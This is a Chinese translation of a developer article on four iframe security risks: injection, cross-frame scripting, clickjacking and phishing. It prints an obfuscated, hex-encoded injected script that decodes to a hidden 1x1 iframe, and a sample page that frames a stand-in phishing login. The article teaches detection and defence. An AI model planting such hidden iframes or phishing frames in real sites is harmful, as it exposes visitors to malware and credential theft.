每个 Web 开发人员都应该知道的 4 个 iframe 安全问题

这篇具有很好参考价值的文章主要介绍了每个 Web 开发人员都应该知道的 4 个 iframe 安全问题。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

  • 原文地址:4 Security Concerns with iframes Every Web Developer Should Know
  • 原文作者:Piumi Liyana Gunawardhana
  • 译文出自:掘金翻译计划
  • 本文永久链接:github.com/xitu/gold-m…
  • 译者:jaredliw
  • 校对者:Usualminds、KimYangOfCat

iframe 是 Web 开发中最古老、最简单的内容嵌入技术之一,时至今日仍被使用。然而,在实践中使用 iframe 可能会带来一些安全隐患,向攻击者敞开大门。


因此,在这篇文章中,我将讨论使用 iframe 前需要注意的 4 个安全风险问题。

1. iframe 注入

iframe 注入是一个非常常见的跨站脚本攻击(XSS)。

iframe 使用多个标签在网页上展示 HTML 文档并将用户重定向到其他的网站。此行为允许第三方将恶意的可执行程序、病毒或蠕虫植入你的 web 程序中,并在用户的设备上运行。

我们可以通过扫描 Web 服务器发送的 HTML 来找出 iframe 的注入位置。你需要做的只是在你的浏览器中打开一个页面,然后启用 view source 功能来查看 HTML。由于这些 iframe 通常指向原生 IP 地址,因此你应该搜索 <iframe> 标签,而不是域名。

举例来说,让我们看看以下的代码:

++++%23wp+/+GPL%0A%3CScript+Language%3D%27Javascript%27%3E%0A++++%3C%21–%0A++++document.write%28unescape%28%273c696672616d65207372633d27687474703a2f2f696e666
f736563696e737469747574652e636f6d2f272077696474683d273127206865696768743d273127207374
796c653d277669736962696c6974793a2068696464656e3b273e3c2f696672616d653e%27%29%29%3B%0A
++++//–%3E%0A++++%3C/Script%3E 

它看起来很正常,似乎是和这个站点相关的代码。实际上,它就是问题的根源。如果你用 JavaScript 函数对其进行解码,输出结果会是这样的:

#wp / GPL
<Script Language=’Javascript’> <!–
document.write(unescape(‘3c696672616d65207372633d27687474703a2f2f696e666f73656369
6e737469747574652e636f6d2f272077696474683d273127206865696768743d273127207374796c653d
277669736962696c6974793a2068696464656e3b273e3c2f696672616d653e’));
//–> </Script> 

同样,这看起来也是合法的,因为攻击者使用了 GPLwp 并将语言设为 JavaScript。这些数字和字母似乎是十六进制的,所以接下来我们可以使用十六进制解码器来将其解码,最终结果如下:

<iframe src='https://www.infosecinstitute.com/' width='1' height='1' style='visibility: hidden;'></iframe> 

因此,当你在 HTML 中找到一个 iframe,并发现它不是你放置的,你应该尽快调查原因并从网站或数据库中移除它。

2. 跨框架脚本攻击

跨框架脚本攻击(XFS)结合 iframe 和 JavaScript 恶意脚本,用于窃取用户的资料。

XFS 攻击者说服用户访问由他所控制的网页,并通过 iframe 引用一个结合了恶意脚本的合法站点。当用户在向 iframe 中的合法网站输入凭据时,JavaScript 恶意脚本将记录他们的输入。


通过在 Web 服务器配置中设置 Content-Security-Policy: frame-ancestorsX-Frame-Options 能防止此攻击。

3. 点击劫持

点击劫持攻击能诱骗用户点击隐藏的网页元素。由此一来,用户可能会因此在无意中下载恶意程序,浏览恶意网站,提供密码或敏感信息、转账或进行网络购物。

攻击者通常会通过 iframe 在网站上覆盖一个不可见的 HTML 元素来执行点击劫持。

用户以为他点击了显示的那个页面,然而,他所点击的是覆盖在其之上的隐藏元素。

有两种主要策略可以保护自己免受点击劫持:

  • 客户端中最流行的方法是 Frame Busting,但这并不是最好的解决方法,因为 iframe 只是被忽略了而已。
  • 服务端中的最好办法是使用 X-Frame-Options。安全专家强烈地建议从服务端解决点击劫持的问题。

4. iframe 网络钓鱼

试考虑一个社交平台,它允许用户和开发人员使用 iframe 将第三方网页合并到他们的粉丝页面或其他的应用程序中。

攻击者经常滥用这个功能来将 iframe 用于网络钓鱼攻击。

在预设情况下,iframe 中的内容能重定向顶级窗口。因此,攻击者可能会利用跨站脚本(XSS)漏洞来将网络钓鱼的代码当作 iframe 植入到 Web 应用程序中,引导用户进入钓鱼网站。

作为示例,试思考以下代码:

<html><head><title>Infosec Institute iFrame by Irfan</title></head><body><iframe src=”/user/piumi/” width=”1450″ height=”300″ frameborder=”0″></iframe><iframe src=”http://phishing.com/wp-login” width=”1450″ height=”250″ frameborder=”0″></iframe></body>
</html> 

上方的代码中包含一个 iframe 嵌入的网络钓鱼站点。用户会被重定向到那里,如果用户没注意网址栏,攻击者将能轻松地获取用户凭据。

iframe 网络钓鱼攻击者不能伪造网址栏,但他们能触发重定向,操纵用户之后所接收的内容。


这个问题可以通过替换 sandbox 中的 allow-top-navigation 属性值来避免。

最后的一些看法

iframe 能提高用户的互动性。但是,当你使用 iframe 的时候,你处理的内容是来自于你无法控制的第三方。因此,iframe 经常会对你的应用程序造成威胁。

然而,我们不能因为安全顾虑就停止使用 iframe。我们需要意识到这些问题并采取防范措施来保护我们的应用程序。

我认为这篇文章能帮你识别使用 iframe 的安全问题。在下方评论区让我知道你的看法。


谢谢您的阅读!

如果发现译文存在错误或其他需要改进的地方,欢迎到 掘金翻译计划 对译文进行修改并 PR,也可获得相应奖励积分。文章开头的 本文永久链接 即为本文在 GitHub 上的 MarkDown 链接。


掘金翻译计划 是一个翻译优质互联网技术文章的社区,文章来源为 掘金 上的英文分享文章。内容覆盖 Android、iOS、前端、后端、区块链、产品、设计、人工智能等领域,想要查看更多优质译文请持续关注 掘金翻译计划、官方微博、知乎专栏。文章来源地址https://www.toymoban.com/news/detail-486832.html

到了这里,关于每个 Web 开发人员都应该知道的 4 个 iframe 安全问题的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 每个程序员都应该知道的8大算法

    在编程开发中,算法是用于解决特定问题或完成特定任务的一组指令或过程。算法可以用任何编程语言表示,可以像一系列基本操作一样简单,也可以像涉及不同数据结构和逻辑的多步骤过程一样复杂。 算法的主要目标是接收输入、处理它并提供预期的输出。算法可以根据时

    2023年04月11日
    浏览(15)
  • 每个 AI/ML 工程师都应该知道的 Gen AI 框架和工具!

    在快速发展的技术领域,生成式人工智能是一股革命性的力量,它改变了开发人员和AI/ML工程师处理复杂问题和创新的方式。本文深入探讨了生成式 AI 的世界,揭示了对每个开发人员都至关重要的框架和工具。 LangChain 由 Harrison Chase 开发并于 2022 年 10 月首次亮相,是一个开

    2024年01月22日
    浏览(22)
  • 开发人员应该了解哪些 SQL 知识?

    SQL(结构化查询语言)是数据库的通用语言,它无处不在、功能强大,并且对于开发人员来说理解非常重要。从这些技巧开始。 作者:Charly Batista 本文和封面来源:https://www.infoworld.com/,爱可生开源社区翻译。 本文约 2700 字,预计阅读需要 9 分钟。 自 20 世纪 70 年代初发明

    2024年01月19日
    浏览(23)
  • Reflect API:每个 JavaScript 开发人员都需要的瑞士军刀

    您是否曾经希望拥有一个神奇的工具包, 可以让您像超级英雄一样控制 JavaScript 对象 ?向 Reflect API 打个招呼吧,它是 ES6 中引入的一个新的全局对象 ,它能够处理简单的代码操作。它是每个现代 JavaScript 开发人员都需要的瑞士军刀!📜 本文的目标是帮助您更好地理解 Jav

    2024年02月05日
    浏览(22)
  • 重要!每个开发者都应该掌握的9个核心算法

    许多开发者似乎都有一个很大的误解,认为算法在编程工作中没什么用处,只是工作面试中的加分项。其实并不是这样的,成为一名有秀的开发者,极其重要的是具备算法思维能力。不仅能够复制和修改标准算法,还能够使用代码运用算法解决遇到的任何问题。 这里介绍9种

    2024年02月11日
    浏览(18)
  • 建议收藏 - 必须知道的4个前端安全编码规范,0基础web前端开发

    2.构造GET和POST请求 若某攻击者想删除某网站的一篇文章,首先获得当前文章的id,然后通过使用脚本 插入图片 发送一个 GET请求 ,或 构造表单 , XMLHTTPRequest 发送 POST请求 以达到删除该文章的目的 3.XSS钓鱼 钓鱼 这个词一般认识是起源于 社会工程学 ,黑客使用这个这门学科

    2024年04月22日
    浏览(20)
  • 你知道机器人奇点吗?机器人奇点问题应该如何解决?

    原创/文 BFT机器人   “机器人奇点”——一个让机器人厂商和用户听到都闻风丧胆的词,一旦碰上,轻则重新编程调试,重则要和你的机器人say goodbye了。 提及“奇点“二字,你可能会立刻联想到黑洞。因为在物理学、宇宙学中,“奇点”也被称为时空奇点或引力奇点,它是

    2024年02月13日
    浏览(15)
  • 15个对Web开发人员有用工具网站

    1. 代码转图片 网址:https://carbon.now.sh/ 使用 Carbon 创建和分享源代码的精美图像。它提供了多种代码风格和主题。 3.图片图库 网址:https://unsplash.com/ 4. 智能 WebP、PNG 和 JPEG 图片压缩 网址:https://tinypng.com/ tinypng免费使用,压缩后的图片清晰度高。 5. Codepen 网址:https://codepen

    2024年02月05日
    浏览(19)
  • 如何利用安全开发框架和库,帮助开发人员编写更安全的代码?

    随着互联网的迅速发展以及数字化技术的普及,网络攻击日益频繁且更具破坏性. 在软件开发过程中,为了确保软件的安全性和可靠性,开发者需要遵循一系列最佳实践和安全标准来避免潜在的网络风险和挑战. 其中一种有效的实现方法是采用**安全开发生命周期 (SDL)** 和 **安全编

    2024年03月24日
    浏览(32)
  • 前端开发人员:新时代的安全冠军

     Web 开发自诞生以来已经发生了巨大的变化。然而,一个普遍的问题仍然存在:前端开发人员仍然需要依赖后端开发人员来使用 API、编写后端代码或解决安全问题。 这种依赖在前端和后端团队之间造成了分歧,阻碍了开发过程及其速度,并可能为安全漏洞打开大门。 现代前

    2024年02月11日
    浏览(18)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包